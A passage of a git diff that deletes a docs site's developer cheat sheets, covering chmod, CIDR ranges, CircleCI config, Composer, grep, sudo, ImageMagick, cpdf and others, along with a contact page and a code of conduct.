-thumb_img_path: images/css-72a655a7.jpg
----
-
-# Add execute for all (myscript.sh)
-
-chmod a+x myscript.sh
-
-# Set user to read/write/execute, group/global to read only (myscript.sh), symbolic mode
-
-chmod u=rwx, go=r myscript.sh
-
-# Remove write from user/group/global (myscript.sh), symbolic mode
-
-chmod a-w myscript.sh
-
-# Remove read/write/execute from user/group/global (myscript.sh), symbolic mode
-
-chmod = myscript.sh
-
-# Set user to read/write and group/global read (myscript.sh), octal notation
-
-chmod 644 myscript.sh
-
-# Set user to read/write/execute and group/global read/execute (myscript.sh), octal notation
-
-chmod 755 myscript.sh
-
-# Set user/group/global to read/write (myscript.sh), octal notation
-
-chmod 666 myscript.sh
-
-# Roles
-
-u - user (owner of the file)
-g - group (members of file's group)
-o - global (all users who are not owner and not part of group)
-a - all (all 3 roles above)
-
-# Numeric representations
-
-7 - full (rwx)
-6 - read and write (rw-)
-5 - read and execute (r-x)
-4 - read only (r--)
-3 - write and execute (-wx)
-2 - write only (-w-)
-1 - execute only (--x)
-0 - none (---)
diff --git a/docs/content/cheat-sheets/chunky_png.md b/docs/content/cheat-sheets/chunky_png.md
deleted file mode 100644
index 3414e10ac7..0000000000
--- a/docs/content/cheat-sheets/chunky_png.md
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Chunky PNG
-category: Ruby libraries
-
----
-
-### Loading
-
-```ruby
-image = ChunkyPNG::Image.from_file('file.png')
-```
-
-#### Alternate ways
-
-```ruby
-image = ChunkyPNG::Image.from_blob(File.read('file.png'))
-image = ChunkyPNG::Image.from_io(io)
-```
-
-Loads from `file.png`.
-
-### Saving
-
-```ruby
-image.save('filename.png')
-```
-
-#### Alternate ways
-
-```ruby
-File.open('newfile.png', 'wb') { |io| image.write(io) }
-binary_string = image.to_blob
-```
-
-Writes an image to `newfile.png`.
-
-### Drawing
-
-```ruby
-image[0, 0] = ChunkyPNG::Color.rgba(255, 0,0, 128)
-image.line(1, 1, 10, 1, ChunkyPNG::Color.from_hex('#aa007f'))
-```
-
-### Canvas
-
-```ruby
-crop(x, y, w, h)
-```
-
-### Transforms
-
-```ruby
-new_image = image.flip_horizontally.rotate_right
-```
diff --git a/docs/content/cheat-sheets/cidr.md b/docs/content/cheat-sheets/cidr.md
deleted file mode 100644
index ef2b708799..0000000000
--- a/docs/content/cheat-sheets/cidr.md
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: CIDR
-category: Misc
-
----
-
-### CIDR ranges
-
-| Range           | First IP | Last IP        |
-| --------------- | -------- | -------------- |
-| **10.0.0.0/24** | 10.0.0.0 | 10.0.0.255     |
-| **10.0.0.0/16** | 10.0.0.0 | 10.0.255.255   |
-| **10.0.0.0/8**  | 10.0.0.0 | 10.255.255.255 |
-| **0.0.0.0/0**   | (all)    | (all)          |
-
-### Resources
-
--   [CIDR range calculator](http://ipaddressguide.com/cidr#range) _(ipaddressguide.com)_
diff --git a/docs/content/cheat-sheets/circle.md b/docs/content/cheat-sheets/circle.md
deleted file mode 100644
index 27e00c8bf1..0000000000
--- a/docs/content/cheat-sheets/circle.md
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: CircleCI
-category: Devops
-
----
-
-## circle.yml
-
--   **machine**: adjusting the VM to your preferences and requirements
--   **checkout**: checking out and cloning your git repo
--   **dependencies**: setting up your project's language-specific dependencies
--   **database**: preparing the databases for your tests
--   **test**: running your tests
--   **deployment**: deploying your code to your web servers
-
-See: <https://circleci.com/docs/configuration>
-
-## Sample
-
-```yml
-## Customize the test machine
-machine:
-    timezone: America/Los_Angeles # Set the timezone
-
-    # Version of ruby to use
-    ruby:
-        version: 1.8.7-p358-falcon-perf
-
-    # Override /etc/hosts
-    hosts:
-        circlehost: 127.0.0.1
-        dev.mycompany.com: 127.0.0.1
-
-    # Add some environment variables
-    environment:
-        CIRCLE_ENV: test
-        DATABASE_URL: postgres://ubuntu:@127.0.0.1:5432/circle_test
-
-## Customize checkout
-checkout:
-    post:
-        - git submodule sync
-        - git submodule update --init # use submodules
-
-## Customize dependencies
-dependencies:
-    pre:
-        - npm install coffeescript # install from a different package manager
-        - gem uninstall bundler # use a custom version of bundler
-        - gem install bundler --pre
-
-    override:
-        - bundle install: # note ':' here
-              timeout: 180 # fail if command has no output for 3 minutes
-
-    # we automatically cache and restore many dependencies between
-    # builds. If you need to, you can add custom paths to cache:
-    cache_directories:
-        - 'custom_1' # relative to the build directory
-        - '~/custom_2' # relative to the user's home directory
-
-## Customize database setup
-database:
-    override:
-        # replace CircleCI's generated database.yml
-        - cp config/database.yml.ci config/database.yml
-        - bundle exec rake db:create db:schema:load
-
-## Customize test commands
-test:
-    override:
-        - phpunit test/unit-tests # use PHPunit for testing
-    post:
-        - bundle exec rake jasmine:ci: # add an extra test type
-              environment:
-                  RAILS_ENV: test
-                  RACK_ENV: test
-
-## Customize deployment commands
-deployment:
-    staging:
-        branch: master
-        heroku:
-            appname: foo-bar-123
-
-## Custom notifications
-notify:
-    webhooks:
-        # A list of hashes representing hooks. Only the url field is supported.
-        - url: https://someurl.com/hooks/circle
-```
-
-See: <https://circleci.com/docs/config-sample>
diff --git a/docs/content/cheat-sheets/co.md b/docs/content/cheat-sheets/co.md
deleted file mode 100644
index 900eca619a..0000000000
--- a/docs/content/cheat-sheets/co.md
+++ /dev/null
@@ -1,92 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: co
-category: JavaScript libraries
-
-weight: -1
-intro: |
-[co](https://github.com/tj/co) allows you to use generators to manage async flow.
-
----
-
-[co]: https://github.com/tj/co
-[thunkify]: https://github.com/visionmedia/node-thunkify
-[unyield]: https://github.com/MatthewMueller/unyield
-[thenify]: https://www.npmjs.com/package/thenify
-[mz]: https://www.npmjs.com/package/mz
-
-### Running generators
-
-```js
-co(function * () {
-  yield Promise.resolve(true)
-}).then(...)
-```
-
-A generator can `yield` a thunk or promise. Using `co()` will immediately invoke the block inside it.
-
-### Generator → Promise
-
-```js
-var fn = co.wrap(function * (val) {
-  return yield Promise.resolve(val)
-})
-
-fn().then(...)
-```
-
-Use `co.wrap()`. Most of the time, you'll be using co.wrap.
-
-### Generator → Node callback
-
-```js
-var get = unyield(function * () {
-})
-
-get(function (err, res) { ... })
-```
-
-Use [unyield]. (You can [thunkify] this later)
-
-### Node callback → Thunk
-
-```js
-var readFile = thunkify(fs.readFile);
-
-co(function* () {
-    var data = yield readFile('index.txt', 'utf-8');
-});
-```
-
-Use [thunkify]. You can yield this. You can also use [thenify] too.
-
-### Using Node.js API
-
-```js
-var readFile = require('mz/fs').readFile
-
-var getLines = co.wrap(function * (filename) {
-  var data = yield readFile(filename, 'utf-8')
-  return data.split('\n')
-})
-
-getLines('file.txt').then((lines) => { ... })
-```
-
-Use [mz] for async Node.js API. You can also either [thunkify] or [thenify] them instead.
diff --git a/docs/content/cheat-sheets/command_line.md b/docs/content/cheat-sheets/command_line.md
deleted file mode 100644
index ba9c883e8e..0000000000
--- a/docs/content/cheat-sheets/command_line.md
+++ /dev/null
@@ -1,192 +0,0 @@
----
-title: Command Line Basics
-subtitle: Here is a list of options and example commands
-date: '2022-01-03'
-thumb_img_alt: Command Line Basics
-content_img_alt: Command Line Basics
-excerpt: Command Line Basics
-seo:
-    title: 'Here is a list of options and example commands'
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/command-line-basics.png
----
-
----
-
-## title: Command line stuff
-
-## List (ls)
-
-    ls [options] [paths]
-
-### Format
-
-| Switch | Description                       |
-| ------ | --------------------------------- |
-| `-1`   | One entry per line                |
-| `-l`   | Long view                         |
-| `-o`   | Long view (without groups)        |
-| `-C`   | Multicolumn (sorted horizontally) |
-| `-x`   | Multicolumn (sorted vertically)   |
-
-|---
-| `-F` | Add / after directories |
-| `-G` | Color |
-{:.shortcuts}
-
-### Options
-
-| `-R` | Recurse |
-| `-a` | Include hidden (dotfiles) |
-| `-A` | Include hidden (but not . and ..) |
-{:.shortcuts}
-
-### Sorting
-
-| Switch | Description                     |
-| ------ | ------------------------------- |
-| `-r`   | reverse order                   |
-| `-S`   | sort by size                    |
-| `-t`   | sort by time modified           |
-| `-u`   | sort by time accessed           |
-| `-U`   | sort by time created            |
-| `-c`   | sort by time status was changed |
-
-|---
-| `-h` | Human-readable size (3k) |
-{:.shortcuts}
-
-<br>
-
-## Tail
-
-    tail [-F | -f | -r] [-bN | -cN | -nN] [file ...]
-
-### Modes
-
-| `-f` | follow |
-| `-F` | follow by filename (accounts for log rotation) |
-| `-r` | Reverse order |
-{:.shortcuts}
-
-### Options
-
-| `-bN` | N\*512 bytes |
-| `-cN` | N bytes |
-| `-nN` | N lines |
-| `+N` | Start from line N |
-{:.shortcuts}
-
-<br>
-
-## Sudo
-
-```
-sudo [options] <command>
-```
-
-### Listing
-
-| `-l` | List allowed commands |
-{:.shortcuts}
-
-### Options
-
-| `-A` | Use $SUDO_ASKPASS |
-| `-b` | Run in background |
-| `-E` | Preserve environment |
-| `-H` | use target's $HOME |
-| `-n` | Don't prompt for password |
-| `-P` | Preserve group vector |
-| `-S` | Read password from stdin |
-{:.shortcuts}
-
-### File descriptors
-
-| `-C fd` | Close all open file descriptors |
-{:.shortcuts}
-
-### Prompt
-
-| `-p prompt` | Custom prompt (-p "%p password:") |
-{:.shortcuts}
-
-### Interactive
-
-| Switch     | Description                         |
-| ---------- | ----------------------------------- |
-| `-i [cmd]` | Interactive shell without variables |
-| `-s [cmd]` | Interactive shell                   |
-
-|----
-| `-u user` | run as this user |
-| `-g group` | run as this group |
-{:.shortcuts}
-
-### Timestamp
-
-| `-v` | revalidate timestamp for 5 mins |
-| `-k` | invalidate timestamp |
-| `-K` | just like -k |
-{:.shortcuts}
-
-<br>
-
-## wc (Word count)
-
-```
-... | wc [options]
-```
-
-| `-c` | Bytes |
-| `-l` | Lines |
-| `-m` | Characters (incl multi-byte) |
-| `-w` | Words |
-{:.shortcuts}
-
-<br>
-
-## Search-and-replace in all files
-
-    perl -p -i -e 's/hello/HELLO/g' **/*
-
-<br>
-
-## Grep
-
-```
-grep [options] [pattern] [file ...]
-```
-
-### Options
-
-| Switch   | Description                           |
-| -------- | ------------------------------------- |
-| `-A num` | Print `num` lines of training context |
-
-|----
-| `-G` | --basic-regexp (default) |
-| `-E` | --extended-regexp |
-| `-P` | --perl-regexp |
-|----
-| `-f file` | --file (Get patterns for file) |
-| `-F` | --fixed-strings |
-|----
-| `-h` | --no-filename |
-| `-H` | --with-filename |
-|----
-| `-l` | --files-with-matches (just print filenames) |
-| `-L` | --files-without-match |
-|----
-| `-r, -R` | --recursive |
-| `-v` | --invert-match |
-| `-i` | --ignore-case |
-{:.shortcuts}
-
-### Synonyms
-
-    egrep  =>  grep -E
-    fgrep  =>  grep -F
diff --git a/docs/content/cheat-sheets/commander.js.md b/docs/content/cheat-sheets/commander.js.md
deleted file mode 100644
index 51e928d910..0000000000
--- a/docs/content/cheat-sheets/commander.js.md
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Commander.js
-category: JavaScript libraries
-
----
-
-### Initialize
-
-    var cli = require('commander');
-
-### Options
-
-    cli
-      .version(require('../package').version)
-      .usage('[options] <command>')
-      .option('-w, --words <n>', 'generate <n> words')
-      .option('-i, --interval <n>', 'interval [1000]', 1000)
-      .option('-s, --symbols', 'include symbols')
-      .parse(process.argv);
-
-### Help
-
-    .on('--help', function() {
-      console.log('');
-    })
-
-### Commands
-
-    cli.outputHelp();
-    cli.args == ["hello"];
-
-### Other useful things
-
-    process.exit(0);
diff --git a/docs/content/cheat-sheets/common-http-status-codes-cheat-sheet-1.md b/docs/content/cheat-sheets/common-http-status-codes-cheat-sheet-1.md
deleted file mode 100644
index 4775527aa1..0000000000
--- a/docs/content/cheat-sheets/common-http-status-codes-cheat-sheet-1.md
+++ /dev/null
@@ -1 +0,0 @@
-# Common HTTP status codes Cheat Sheet
diff --git a/docs/content/cheat-sheets/common-http-status-codes-cheat-sheet.md b/docs/content/cheat-sheets/common-http-status-codes-cheat-sheet.md
deleted file mode 100644
index 4775527aa1..0000000000
--- a/docs/content/cheat-sheets/common-http-status-codes-cheat-sheet.md
+++ /dev/null
@@ -1 +0,0 @@
-# Common HTTP status codes Cheat Sheet
diff --git a/docs/content/cheat-sheets/composer.md b/docs/content/cheat-sheets/composer.md
deleted file mode 100644
index b8e59e0e81..0000000000
--- a/docs/content/cheat-sheets/composer.md
+++ /dev/null
@@ -1,97 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: composer
-category: CLI
-
-weight: -1
-authors:
-
--   github: benolot
-    description: |
-    Basic guide on how to use Composer, the PHP Package manager.
-
----
-
-All composer commands, depending on your install, may need to use `php composer.phar` in the install folder for composer, instead of plain `composer`.
-
-### Installing dependencies
-
-| Command                      | Description                                                                                                                                                                                                 |
-| ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `composer install`           | Downloads and installs all the libraries and dependencies outlined in the `composer.lock` file. If the file does not exist it will look for composer.json and do the same, creating a `composer.lock` file. |
-| ---                          | ---                                                                                                                                                                                                         |
-| `composer install --dry-run` | Simulates the install without installing anything                                                                                                                                                           |
-
-This command doesn't change any file. If `composer.lock` is not present, it will create it.
-
-`composer.lock` **should always** be committed to the repository. It has all the information needed to bring the
-local dependencies to the last committed state. If that file is modified on the repository, you will need to run
-`composer install` again after fetching the changes to update your local dependencies to those on that file.
-
-### Updating packages
-
-| Command                               | Description                                                |
-| ------------------------------------- | ---------------------------------------------------------- |
-| `composer update`                     | Updates all packages                                       |
-| `composer update --with-dependencies` | Updates all packages and its dependencies                  |
-| ---                                   | ---                                                        |
-| `composer update vendor/package`      | Updates a certain `package` from `vendor`                  |
-| `composer update vendor/*`            | Updates all packages from `vendor`                         |
-| `composer update --lock`              | Updates `composer.lock` hash without updating any packages |
-
-This command changes only the `composer.lock` file.
-
-### Updating autoloader
-
-| Command                    | Description                        |
-| -------------------------- | ---------------------------------- |
-| `composer dumpautoload -o` | Generates optimized autoload files |
-
-### Adding packages
-
-| Command                                 | Description                                                                            |
-| --------------------------------------- | -------------------------------------------------------------------------------------- |
-| `composer require vendor/package`.      | Adds `package` from `vendor` to composer.json's `require` section and installs it      |
-| ---                                     | ---                                                                                    |
-| `composer require vendor/package --dev` | Adds `package` from `vendor` to composer.json's `require-dev` section and installs it. |
-
-This command changes both the `composer.json` and `composer.lock` files.
-
-### Passing versions
-
-| Command                                         | Description                              |
-| ----------------------------------------------- | ---------------------------------------- |
-| `composer require vendor/pkg "1.3.2"`           | Installs `1.3.2`                         |
-| `composer require vendor/pkg ">=1.3.2"`         | Above or equal `1.3.2`                   |
-| `composer require vendor/pkg "<1.3.2"`          | Below `1.3.2`                            |
-| `composer require vendor/pkg "1.3.*"`           | Latest of `>=1.3.0 <1.4.0`               |
-| `composer require vendor/pkg "~1.3.2"`          | Latest of `>=1.3.2 <1.4.0`               |
-| `composer require vendor/pkg "~1.3"`            | Latest of `>=1.3.0 <2.0.0`               |
-| `composer require vendor/pkg "^1.3.2"`          | Latest of `>=1.3.2 <2.0.0`               |
-| `composer require vendor/pkg "^1.3"`            | Latest of `>=1.3.0 <2.0.0`               |
-| `composer require vendor/pkg "^0.3.2"`          | Latest of `>=0.3.0 <0.4.0` (for pre-1.0) |
-| `composer require vendor/pkg "dev-BRANCH_NAME"` | From the branch `BRANCH_NAME`            |
-
-### Removing packages
-
-| Command                          | Description                                                   |
-| -------------------------------- | ------------------------------------------------------------- |
-| `composer remove vendor/package` | Removes `vendor/package` from composer.json and uninstalls it |
-
-This command changes both the `composer.json` and `composer.lock` files.
diff --git a/docs/content/cheat-sheets/contact.md b/docs/content/cheat-sheets/contact.md
deleted file mode 100644
index 7de01b98ed..0000000000
--- a/docs/content/cheat-sheets/contact.md
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: Contact
-hide_title: false
-sections:
-    - section_id: contact-form
-      type: section_form
-      content: To get in touch please fill the form below.
-      form_id: contactForm
-      form_action: /thank-you
-      form_fields:
-          - input_type: text
-            name: name
-            label: Name
-            default_value: Your name
-            is_required: true
-          - input_type: email
-            name: email
-            label: Email
-            default_value: Your email address
-            is_required: true
-          - input_type: select
-            name: subject
-            label: Subject
-            default_value: Please select
-            options:
-                - Error on the site
-                - Sponsorship
-                - Other
-          - input_type: textarea
-            name: message
-            label: Message
-            default_value: Your message
-          - input_type: checkbox
-            name: consent
-            label: >-
-                I understand that this form is storing my submitted information so I
-                can be contacted.
-      submit_label: Send Message
-seo:
-    title: Contact
-    description: This is the contact page
-    extra:
-        - name: 'og:type'
-          value: website
-          keyName: property
-        - name: 'og:title'
-          value: Contact
-          keyName: property
-        - name: 'og:description'
-          value: This is the contact page
-          keyName: property
-        - name: 'twitter:card'
-          value: summary
-        - name: 'twitter:title'
-          value: Contact
-        - name: 'twitter:description'
-          value: This is the contact page
-template: advanced
----
diff --git a/docs/content/cheat-sheets/contributor-covenant-code-of-conduct.md b/docs/content/cheat-sheets/contributor-covenant-code-of-conduct.md
deleted file mode 100644
index 9ecd0d3478..0000000000
--- a/docs/content/cheat-sheets/contributor-covenant-code-of-conduct.md
+++ /dev/null
@@ -1,77 +0,0 @@
-# Contributor Covenant Code of Conduct
-
-## Our Pledge
-
-We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
-
-We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community.
-
-## Our Standards
-
-Examples of behavior that contributes to a positive environment for our community include:
-
--   Demonstrating empathy and kindness toward other people
--   Being respectful of differing opinions, viewpoints, and experiences
--   Giving and gracefully accepting constructive feedback
--   Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience
--   Focusing on what is best not just for us as individuals, but for the overall community
-
-Examples of unacceptable behavior include:
-
--   The use of sexualized language or imagery, and sexual attention or advances of any kind
--   Trolling, insulting or derogatory comments, and personal or political attacks
--   Public or private harassment
--   Publishing others' private information, such as a physical or email address, without their explicit permission
--   Other conduct which could reasonably be considered inappropriate in a professional setting
-
-## Enforcement Responsibilities
-
-Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful.
-
-Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate.
-
-## Scope
-
-This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event.
-
-## Enforcement
-
-Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at . All complaints will be reviewed and investigated promptly and fairly.
-
-All community leaders are obligated to respect the privacy and security of the reporter of any incident.
-
-## Enforcement Guidelines
-
-Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct:
-
-### 1. Correction
-
-**Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community.
-
-**Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested.
-
-### 2. Warning
-
-**Community Impact**: A violation through a single incident or series of actions.
-
-**Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban.
-
-### 3. Temporary Ban
-
-**Community Impact**: A serious violation of community standards, including sustained inappropriate behavior.
-
-**Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban.
-
-### 4. Permanent Ban
-
-**Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals.
-
-**Consequence**: A permanent ban from any sort of public interaction within the community.
-
-## Attribution
-
-This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org), version 2.0, available at https://www.contributor-covenant.org/version/2/0/code\_of\_conduct.html.
-
-Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity).
-
-For answers to common questions about this code of conduct, see the FAQ at https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations.
diff --git a/docs/content/cheat-sheets/convert.md b/docs/content/cheat-sheets/convert.md
deleted file mode 100644
index 0d14178dba..0000000000
--- a/docs/content/cheat-sheets/convert.md
+++ /dev/null
@@ -1,41 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To resize an image to a fixed width and proportional height:
-
-convert original.jpg -resize 100x converted.jpg
-
-# To resize an image to a fixed height and proportional width:
-
-convert original.jpg -resize x100 converted.jpg
-
-# To resize an image to a fixed width and height:
-
-convert original.jpg -resize 100x100 converted.jpg
-
-# To resize an image and simultaneously change its file type:
-
-convert original.jpg -resize 100x converted.png
-
-# To resize all of the images within a directory:
-
-# To implement a for loop:
-
-for file in `ls original/image/path/`;
-do new_path=${file%.*};
-    new_file=`basename $new_path`;
-    convert $file -resize 150 converted/image/path/$new_file.png;
-done
diff --git a/docs/content/cheat-sheets/cordova.md b/docs/content/cheat-sheets/cordova.md
deleted file mode 100644
index f72edcb4ad..0000000000
--- a/docs/content/cheat-sheets/cordova.md
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Apache Cordova
-
-intro: |
-A quick reference to common [Apache Cordova](https://cordova.apache.org/) commands.
-
----
-
-### Common commands
-
-```
-cordova plugin ls
-cordova plugin search facebook
-cordova plugin add com.phonegap.plugins.facebookconnect
-```
-
-```
-cordova platform add ios
-cordova platform ls
-cordova platform update ios
-cordova platform check
-```
-
-### Common plugins
-
-Some commonly-used plugins:
-
--   [org.apache.cordova.console](https://github.com/apache/cordova-plugin-console)
--   [org.apache.cordova.inappbrowser](https://github.com/apache/cordova-plugin-inappbrowser)
--   [org.apache.cordova.statusbar](https://github.com/apache/cordova-plugin-statusbar)
--   org.apache.cordova.splashscreen
-
-Also:
-
--   com.phonegap.plugins.facebookconnect
diff --git a/docs/content/cheat-sheets/cpdf.md b/docs/content/cheat-sheets/cpdf.md
deleted file mode 100644
index ff6d8a3667..0000000000
--- a/docs/content/cheat-sheets/cpdf.md
+++ /dev/null
@@ -1,205 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# Read in.pdf, select pages 1, 2, 3 and 6, and write those pages to
-
-# out.pdf
-
-cpdf in.pdf 1-3,6 -o out.pdf
-
-# Select the even pages (2, 4, 6...) from in.pdf and write those pages
-
-# to out.pdf
-
-cpdf in.pdf even -o out.pdf
-
-# Using AND to perform several operations in order, here merging two
-
-# files together and adding a copyright stamp to every page.
-
-cpdf -merge in.pdf in2.pdf AND -add-text "Copyright 2014" -o out.pdf
-
-# Read control.txt and use its contents as the command line arguments
-
-# for cpdf.
-
-cpdf -control control.txt
-
-# Merge in.pdf and in2.pdf into one document, writing to out.pdf.
-
-cpdf -merge in.pdf in2.pdf -o out.pdf
-
-# Split in.pdf into ten-page chunks, writing them to Chunk001.pdf,
-
-# Chunk002.pdf etc
-
-cpdf -split in.pdf -o Chunk%%%.pdf -chunk 10
-
-# Split in.pdf on bookmark boundaries, writing each to a file whose
-
-# name is the bookmark label
-
-cpdf -split-bookmarks 0 in.pdf -o @N.pdf
-
-# Scale both the dimensions and contents of in.pdf by a factor of two
-
-# in x and y directions.
-
-cpdf -scale-page "2 2" in.pdf -o out.pdf
-
-# Scale the pages in in.pdf to fit the US Letter page size, writing to
-
-# out.pdf
-
-cpdf -scale-to-fit usletterportrait in.pdf -o out.pdf
-
-# Shift the contents of the page by 26 pts in the x direction, and 18
-
-# millimetres in the y direction, writing to out.pdf
-
-cpdf -shift "26pt 18mm" in.pdf -o out.pdf
-
-# Rotate the contents of the pages in in.pdf by ninety degrees and
-
-# write to out.pdf.
-
-cpdf -rotate-contents 90 in.pdf -o out.pdf
-
-# Crop the pages in in.pdf to a 600 pts by 400 pts rectangle.
-
-cpdf -crop "0 0 600pt 400pt" in.pdf -o out.pdf
-
-# Encrypt using 128bit PDF encryption using the owner password 'fred'
-
-# and the user password 'joe'
-
-cpdf -encrypt 128bit fred joe in.pdf -o out.pdf
-
-# Decrypt using the owner password, writing to out.pdf.
-
-cpdf -decrypt in.pdf owner=fred -o out.pdf
-
-# Compress the data streams in in.pdf, writing the result to out.pdf.
-
-cpdf -compress in.pdf -o out.pdf
-
-# Decompress the data streams in in.pdf, writing to out.pdf.
-
-cpdf -decompress in.pdf -o out.pdf
-
-# List the bookmarks in in.pdf. This would produce:
-
-cpdf -list-bookmarks in.pdf
-
-# Outputs:
-
-# Add bookmarks in the same form from a prepared file bookmarks.txt to
-
-# in.pdf, writing to out.pdf.
-
-cpdf -add-bookmarks bookmarks.txt in.pdf -o out.pdf
-
-# Use the Split style to build a presentation from the PDF in.pdf,
-
-# each slide staying 10 seconds on screen unless manually advanced.
-
-# The first page, being a title does not move on automatically, and
-
-# has no transition effect.
-
-cpdf -presentation in.pdf 2-end -trans Split -duration 10 -o out.pdf
-
-# Stamp the file watermark.pdf on to each page of in.pdf, writing the
-
-# result to out.pdf.
-
-cpdf -stamp-on watermark.pdf in.pdf -o out.pdf
-
-# Add a page number and date to all the pages in in.pdf using the
-
-# Courier font, writing to out.pdf
-
-cpdf -topleft 10 -font Courier -add-text "Page %Page\nDate %d-%m-%Y" in.pdf -o out.pdf
-
-# Two up impose the file in.pdf, writing to out.pdf
-
-cpdf -twoup-stack in.pdf -o out.pdf
-
-# Add extra blank pages after pages one, three and four of a document.
-
-cpdf -pad-after 1,3,4 in.pdf -o out.pdf
-
-# List the annotations in a file in.pdf to standard output.
-
-cpdf -list-annotations in.pdf
-
-# Might Produce:
-
-# -- # Annotation text content 1 # -- # -- # Annotation text content 2
-
-# --
-
-# Copy the annotations from from.pdf to in.pdf, writing to out.pdf.
-
-cpdf -copy-annotations from.pdf in.pdf -o out.pdf
-
-# Set the document title of in.pdf. writing to out.pdf.
-
-cpdf -set-title "The New Title" in.pdf -o out.pdf
-
-# Set the document in.pdf to open with the Acrobat Viewer's toolbar
-
-# hidden, writing to out.pdf.
-
-cpdf -hide-toolbar true in.pdf -o out.pdf
-
-# Set the metadata in a PDF in.pdf to the contents of the file
-
-# metadata.xml, and write the output to out.pdf.
-
-cpdf -set-metadata metadata.xml in.pdf -o out.pdf
-
-# Set the document in.pdf to open in Acrobat Viewer showing two
-
-# columns of pages, starting on the right, putting the result in
-
-# out.pdf.
-
-cpdf -set-page-layout TwoColumnRight in.pdf -o out.pdf
-
-# Set the document in.pdf to open in Acrobat Viewer in full screen
-
-# mode, putting the result in out.pdf.
-
-cpdf -set-page-mode FullScreen in.pdf -o out.pdf
-
-# Attach the file sheet.xls to in.pdf, writing to out.pdf.
-
-cpdf -attach-file sheet.xls in.pdf -o out.pdf
-
-# Remove any attachments from in.pdf, writing to out.pdf.
-
-cpdf -remove-files in.pdf -o out.pdf
-
-# Blacken all the text in in.pdf, writing to out.pdf.
-
